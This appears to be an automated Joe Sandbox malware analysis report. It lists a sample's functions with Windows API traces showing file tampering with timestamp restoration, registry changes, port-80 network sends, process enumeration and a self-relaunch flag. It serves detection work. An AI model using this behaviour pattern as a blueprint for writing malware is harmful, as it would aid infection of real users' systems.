CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0040B041), ref: 00404ABF
WriteFile.KERNEL32(00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?), ref: 00404AF1
lstrlen.KERNEL32(?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?), ref: 00404B3F
lstrcpy.KERNEL32(?,?), ref: 00404B74
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000), ref: 00404BA4
SetFileTime.KERNEL32(?,?,?,?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?), ref: 00404BD6
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000), ref: 00404BE2
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 00404BFE
RegSetValueExA.ADVAPI32(?,0040A61F,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,80000000,00000001), ref: 00404C34
lstrlen.KERNEL32(?,?,0040A61F,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,80000000), ref: 00404C3A
RegSetValueExA.ADVAPI32(?,0040A616,00000000,00000001,?,00000001,?,?,0040A61F,00000000,00000004,?,00000004), ref: 00404C52
RegCloseKey.ADVAPI32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?), ref: 00404C66
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 00404C78
RegDeleteValueA.ADVAPI32(00000000,0040A3D0,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404C9E
RegCloseKey.ADVAPI32(?,00000000,0040A3D0,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 00404CAA

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: File$Close$CreateValue$DeleteHandleWritelstrlen$AttributesMutexObjectSingleSleepTimeWaitlstrcatlstrcpy
String ID:
API String ID: 3947514751-0
Opcode ID: 7ea667f49fbe701ea892a58d27bcfa18f50e43596fec2e967ef91667e04b4fcf
Instruction ID: c8a634da1535483b825a37ec2b421a65764b4f873024b3e428f19c9569ae3a71
Opcode Fuzzy Hash: 7ea667f49fbe701ea892a58d27bcfa18f50e43596fec2e967ef91667e04b4fcf
Instruction Fuzzy Hash: A961D870548385ADD731EB318C45FDB77A89F81308F50493FF6C9BA0C2D678A5458B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00401C3E Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 203
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?), ref: 00401C6A
lstrlen.KERNEL32(00000000), ref: 00401C70
htons.WS2_32(00000050), ref: 00401CD1
inet_addr.WS2_32(?), ref: 00401CEC
gethostbyname.WS2_32(?), ref: 00401CFB
socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
closesocket.WS2_32(00000000), ref: 00401D4F
wsprintfA.USER32 ref: 00401D9A
send.WS2_32(00000000,?,00000000,00000000), ref: 00401DB0
lstrcmpiA.KERNEL32(?,0040A4FC), ref: 00401DE1

Strings

P, xrefs: 00401D79
0, xrefs: 00401DD3

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: closesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$P
API String ID: 2963668025-1101630672
Opcode ID: b66e4dce80f299467ffe7ba924d51a907c7bfefcc943f00c0faa90b6328518ed
Instruction ID: 0b531a99b3d5abf5cb650746cb0befc7b08862aa7035e578805121d5229d263d
Opcode Fuzzy Hash: b66e4dce80f299467ffe7ba924d51a907c7bfefcc943f00c0faa90b6328518ed
Instruction Fuzzy Hash: 1C71E3B0640215AFE7209B64CC85B5F76A8AF05358F1041BAF705FF2E2D77899448FAE

Uniqueness

Uniqueness Score: -1.00%

Function 004014F6 Relevance: 21.2, APIs: 14, Instructions: 188
filetimestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 00401505
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040151D
GetFileTime.KERNEL32(00000000,0040C2B0,00000000,0040C2C0,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040154F
GetFileSize.KERNEL32(00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040155A
ReadFile.KERNEL32(C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401586
lstrlen.KERNEL32(0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 00401631
CharLowerA.USER32(00000000,?,0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 0040165E
SetFilePointer.KERNEL32(00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 004016C2
WriteFile.KERNEL32(C0000000,0040A260,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 004016D9
WriteFile.KERNEL32(C0000000,00000000,?,00000000,00000000,C0000000,0040A260,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000), ref: 004016F6
SetEndOfFile.KERNEL32(00000080,C0000000,00000000,?,00000000,00000000,C0000000,0040A260,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000), ref: 004016FF
WriteFile.KERNEL32(C0000000,0040A260,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401721
SetFileTime.KERNEL32(00000001,0040C2B0,00000000,0040C2C0,C0000000,0040A260,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 00401736
CloseHandle.KERNEL32(00000080,00000001,0040C2B0,00000000,0040C2C0,C0000000,0040A260,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000), ref: 0040173F

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: File$Write$Time$AttributesCharCloseCreateHandleLowerPointerReadSizelstrlen
String ID:
API String ID: 2270073009-0
Opcode ID: e74a68a0801a19399b27350bcc05d196a522b3a0b40b8b898a66761058f8f7c4
Instruction ID: ed07d2a39fb80e6dc9f9b9060e9089f4a8c87d352c27c362815906d0368f32f6
Opcode Fuzzy Hash: e74a68a0801a19399b27350bcc05d196a522b3a0b40b8b898a66761058f8f7c4
Instruction Fuzzy Hash: 59619B70608340AFD711DF25CC89B2BBBE5AB84308F54893FF095BA1E1D279D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401A88 Relevance: 18.1, APIs: 12, Instructions: 127
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040A8C0,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 00401C1D
RegCloseKey.ADVAPI32(00000000,80000001,0040A8C0,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401C2E

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: CloseCreateEnum
String ID:
API String ID: 2702359829-0
Opcode ID: 1e8c4d87f55a00c80febd234072b8a1871f45a4775496f31bcea52af021c7db2
Instruction ID: b3c6845c7cc7358e21721668acba52ac81ea92210d0409fa8cf9a8fc2de8423e
Opcode Fuzzy Hash: 1e8c4d87f55a00c80febd234072b8a1871f45a4775496f31bcea52af021c7db2
Instruction Fuzzy Hash: 9141C47118834579F721EA618C41FAB76ACEF84788F00083FB685B50D1EBBCD914D66A

Uniqueness

Uniqueness Score: -1.00%

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 5c3d86fea694a7c11d0c12dfbd98f210d4d146de5451b72d38f57c0789bdac35
Instruction ID: a6e5716d89433afdb7d9f4f158dd905d05207354bf63bbd911023db8829accde
Opcode Fuzzy Hash: 5c3d86fea694a7c11d0c12dfbd98f210d4d146de5451b72d38f57c0789bdac35
Instruction Fuzzy Hash: CF115130350B4436E63172329C4AFAF219CCF49B58F90853BB754F91D1D6BCA8454A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45
processfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: ce0cd485a04e30d1a40e42630410ab806e13f6c58c9abf794df53614f50af418
Instruction ID: 8066bfb0b53967ada52967b4418e7945b86cdbe5de05057fbb1ad19309dc722b
Opcode Fuzzy Hash: ce0cd485a04e30d1a40e42630410ab806e13f6c58c9abf794df53614f50af418
Instruction Fuzzy Hash: 94F05E70244B0576E62036328C8FF2F6559DF01B24F608A3BB660790E2EA7CA8515D6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401983 Relevance: 12.1, APIs: 8, Instructions: 82
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019A3
connect.WS2_32(00000000,00000002,00000010), ref: 004019B4
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019C4
WSAGetLastError.WS2_32 ref: 004019D0
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019E3

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction ID: 7ca4e1aa6efa4e4985c6b63a06a3ad70c8f0fbc5506d5683ad8c2bedbe06a21d
Opcode Fuzzy Hash: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction Fuzzy Hash: D021F8705052016AE3209A658C01FAB76ECDF85318F010A3FB191EA1E2EB7C9554CBAB

Uniqueness

Uniqueness Score: -1.00%

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019), ref: 004011F4
wsprintfA.USER32 ref: 0040120B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040122F
RegCloseKey.ADVAPI32(?,00000000,00000000,?,00000300), ref: 0040123B
RegDeleteKeyA.ADVAPI32(?), ref: 00401242

Strings

%s\%s, xrefs: 00401201

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: 1d9d0bfcd87dd8ef45453f49292145cc93ebe540064fcdc2983ce96978b4f21b
Instruction ID: ca306f76ce8eae6bb017704f8a45eb17ba94ef2d79512a313227167690010306
Opcode Fuzzy Hash: 1d9d0bfcd87dd8ef45453f49292145cc93ebe540064fcdc2983ce96978b4f21b
Instruction Fuzzy Hash: 0FF0C2712843103BE225F21A9C82FBB659CDFC87D8F00043EF60AF51D2EA3C9D1191AA

Uniqueness

Uniqueness Score: -1.00%

Function 00402646 Relevance: 9.1, APIs: 6, Instructions: 139
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,004029BD), ref: 004026A9
gethostbyname.WS2_32(?), ref: 004026BC
htons.WS2_32(00000050), ref: 004026D1
socket.WS2_32(00000002,00000001,00000006), ref: 004026F3
closesocket.WS2_32(00000000), ref: 0040270F

Part of subcall function 00401A88: RegCreateKeyExA.ADVAPI32(80000001,0040A8C0,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6

wsprintfA.USER32 ref: 00402797

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: wsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID:
API String ID: 2968461040-0
Opcode ID: 9faa8d774b1f212f3c90e0e38fe6c0b2b4e8aa0d315264c1d067af6f48b27047
Instruction ID: 632abfffad1eae66bbef2cffefd365432c92c77627e78cd6349fa7629361752e
Opcode Fuzzy Hash: 9faa8d774b1f212f3c90e0e38fe6c0b2b4e8aa0d315264c1d067af6f48b27047
Instruction Fuzzy Hash: E441A270240300EFE310AB659D8AB1B72A6EF48744F14853AF641FB2D2D7B89845CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004033B4 Relevance: 9.1, APIs: 6, Instructions: 95
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 004033C2
OpenProcess.KERNEL32(0000002A,00000000,?,?), ref: 004033DC
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?), ref: 00403463
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?), ref: 0040346D
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?), ref: 00403487
lstrcpy.KERNEL32(00000000,00000000), ref: 00403491

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: CloseHandle$AllocOpenProcessVirtuallstrcpylstrlen
String ID:
API String ID: 885328069-0
Opcode ID: b8d626d126a89b3ba5b8624998f0d2f16dfc98171e4c1169790693f6f565bede
Instruction ID: 286f24523f87d21ee6fdf0659b15e3162c9be1f6ec2acb51ddafdd64c094c1a7
Opcode Fuzzy Hash: b8d626d126a89b3ba5b8624998f0d2f16dfc98171e4c1169790693f6f565bede
Instruction Fuzzy Hash: D031B131204300BFE3119FA5DD49F577BADEB88745F00853AF644BA1E1D7B9D9008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403305 Relevance: 9.1, APIs: 6, Instructions: 56
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000002,0040A480,00000000,0002001F,?), ref: 00403322
RegQueryValueExA.ADVAPI32(?,0040A3D0,00000000,0002001F,?,0000022A,80000002,0040A480,00000000,0002001F), ref: 00403349
RegCloseKey.ADVAPI32(0002001F,?,0040A3D0,00000000,0002001F,?,0000022A,80000002,0040A480,00000000,0002001F), ref: 00403356
RegOpenKeyExA.ADVAPI32(80000001,0040A480,00000000,0002001F,?,80000002,0040A480,00000000,0002001F,?), ref: 0040336D
RegQueryValueExA.ADVAPI32(0002001F,0040A3D0,00000000,0002001F,?,0000022A,80000001,0040A480,00000000,0002001F,?,80000002,0040A480,00000000,0002001F), ref: 00403394
RegCloseKey.ADVAPI32(0002001F,0002001F,0040A3D0,00000000,0002001F,?,0000022A,80000001,0040A480,00000000,0002001F,?,80000002,0040A480,00000000,0002001F), ref: 004033A7

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 2ee8fd4b13b53495e4a1400a0fad01071f7cc72d7e8bc85c9bc90e08962e5f77
Instruction ID: c555ee980e9abfa8c28e5f121e850944904ac1e59b17e8b59aea53d349d89e9f
Opcode Fuzzy Hash: 2ee8fd4b13b53495e4a1400a0fad01071f7cc72d7e8bc85c9bc90e08962e5f77
Instruction Fuzzy Hash: 8201D671248301BAE3109A51EC86F9B7ADC9F80744F10443FFE8AB50D1E6B8E864A65F

Uniqueness

Uniqueness Score: -1.00%

Function 00401F06 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 108
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 00401F4C
lstrcpy.KERNEL32(?,?), ref: 00401F74
wsprintfA.USER32 ref: 00401FC5
wsprintfA.USER32 ref: 00401FE7

Strings

%02X, xrefs: 00401FE1

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X
API String ID: 1876335253-436463671
Opcode ID: c75f6b4d48a5bbeb8f2c1237be24a574a95d8af64be866cba6e778d022f54ecb
Instruction ID: e0bdc7e3bb12d4f3172dcd8bc2201614ea442c8a8193c297088bbb692e1f50c6
Opcode Fuzzy Hash: c75f6b4d48a5bbeb8f2c1237be24a574a95d8af64be866cba6e778d022f54ecb
Instruction Fuzzy Hash: 94311831A0034A8BD710EBE5C88479BBBF4AF41318F544137E451AB2D6D77CA945CB84

Uniqueness

Uniqueness Score: -1.00%

Function 004034C9 Relevance: 7.5, APIs: 5, Instructions: 49processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034E7
Process32First.KERNEL32(00000000), ref: 004034FD
lstrcmpiA.KERNEL32(00000000,?), ref: 00403511
Process32Next.KERNEL32(00000000), ref: 00403530
CloseHandle.KERNEL32(00000000), ref: 00403538

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: cceaed58b7e9cc4a5a6ebb2ff451bbefae3f1f30098050d89e26a156946cae91
Instruction ID: c1730c4a262d1c5ddb531cf5a409bf9471f7e663502f7af43a59ba8fe8c46425
Opcode Fuzzy Hash: cceaed58b7e9cc4a5a6ebb2ff451bbefae3f1f30098050d89e26a156946cae91
Instruction Fuzzy Hash: 7EF0CD7220420436D6203677AC46F6F7E9CDB45365F50053FBA58F51D3E93DCA0186A5

Uniqueness

Uniqueness Score: -1.00%

Function 0040187B Relevance: 6.1, APIs: 4, Instructions: 96networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
recv.WS2_32(00000000,?,?,00000002), ref: 00401909
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928
recv.WS2_32(00000000,?,00000000,00000000), ref: 0040195E

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction ID: 0e7c0514ff34e4ed08866b55ff767d2318ba96abf9e9c78bb5005e9928d1fd1f
Opcode Fuzzy Hash: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction Fuzzy Hash: 4831C2716083469FE720EE24C894B2BBBD8EF94744F10483EF5C5E62E1E3B98904C756

Uniqueness

Uniqueness Score: -1.00%

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
